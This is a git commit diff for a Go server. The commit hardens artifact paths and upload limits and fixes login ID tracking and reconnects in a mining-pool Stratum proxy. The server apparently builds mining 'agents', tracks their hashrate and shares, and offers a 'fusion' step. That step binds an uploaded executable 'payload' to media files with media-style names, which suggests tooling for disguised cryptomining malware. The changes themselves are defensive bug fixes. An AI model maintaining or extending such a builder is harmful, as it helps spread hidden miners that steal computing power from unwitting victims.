Fix bugs found in full security and stability audit.
Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
This commit is contained in:
@@ -60,6 +60,9 @@ func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
samples, err := h.db.GetHashrateHistory(id, limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
@@ -78,6 +81,9 @@ func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
shares, err := h.db.GetRecentShares(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
|
||||
@@ -199,6 +199,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
||||
// Clean the path
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" || strings.Contains(path, "..") {
|
||||
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
||||
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
||||
return
|
||||
}
|
||||
fullPath := filepath.Join(webRoot, path)
|
||||
|
||||
// Check if the file exists
|
||||
|
||||
@@ -176,27 +176,31 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
if req.FusionEnabled {
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else if err == nil {
|
||||
file.Close()
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
@@ -327,19 +331,28 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
if _, err := h.db.GetBuild(buildID); err != nil {
|
||||
http.Error(w, "Build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||
if name == "" {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||
path := filepath.Join(buildDir, name)
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||
path = filepath.Join(exportDir, name)
|
||||
path, err := safePathUnderRoot(buildDir, name)
|
||||
if err != nil {
|
||||
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
|
||||
title = sanitizeFileName(filepath.Base(title))
|
||||
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
|
||||
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
@@ -570,6 +583,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
resp := BuildResponse{
|
||||
@@ -785,6 +799,9 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
if header.Size > FusionMaxUploadBytes {
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
if header.Size < 0 {
|
||||
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
|
||||
}
|
||||
baseName := filepath.Base(header.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
@@ -807,7 +824,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
written, err := io.Copy(out, file)
|
||||
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
|
||||
out.Close()
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
@@ -1049,6 +1066,30 @@ func sanitizeFileName(name string) string {
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
|
||||
// safePathUnderRoot resolves name under root and rejects traversal escapes.
|
||||
func safePathUnderRoot(root, name string) (string, error) {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
cleanName := filepath.Clean(name)
|
||||
if filepath.IsAbs(cleanName) {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
absRoot, err := filepath.Abs(root)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
full := filepath.Join(absRoot, cleanName)
|
||||
absFull, err := filepath.Abs(full)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("path escapes root")
|
||||
}
|
||||
return absFull, nil
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
|
||||
@@ -63,7 +63,8 @@ type Proxy struct {
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
connected bool
|
||||
requestID int
|
||||
requestID int
|
||||
loginRequestID int
|
||||
currentJob *Job
|
||||
jobSubscribed bool
|
||||
stopCh chan struct{}
|
||||
@@ -260,7 +261,11 @@ func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult
|
||||
}
|
||||
|
||||
func (p *Proxy) authenticate() error {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
loginID := p.requestID
|
||||
p.loginRequestID = loginID
|
||||
p.mu.Unlock()
|
||||
|
||||
// Login request
|
||||
loginParams := []interface{}{
|
||||
@@ -271,7 +276,7 @@ func (p *Proxy) authenticate() error {
|
||||
|
||||
paramsData, _ := json.Marshal(loginParams)
|
||||
loginReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: loginID,
|
||||
Method: "login",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -317,7 +322,22 @@ func (p *Proxy) readLoop() {
|
||||
}
|
||||
|
||||
p.scheduleReconnect()
|
||||
return
|
||||
// Wait for reconnect before resuming reads (readLoop stays alive).
|
||||
for i := 0; i < 600; i++ {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
p.mu.RLock()
|
||||
ok := p.connected && p.reader != nil
|
||||
p.mu.RUnlock()
|
||||
if ok {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
line = strings.TrimSpace(line)
|
||||
@@ -367,7 +387,11 @@ func (p *Proxy) handleResponse(resp StratumResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
if resp.ID == 1 {
|
||||
p.mu.RLock()
|
||||
loginID := p.loginRequestID
|
||||
p.mu.RUnlock()
|
||||
|
||||
if resp.ID == loginID {
|
||||
// Login response
|
||||
var loginResult struct {
|
||||
ID string `json:"id"`
|
||||
|
||||
Reference in New Issue
Block a user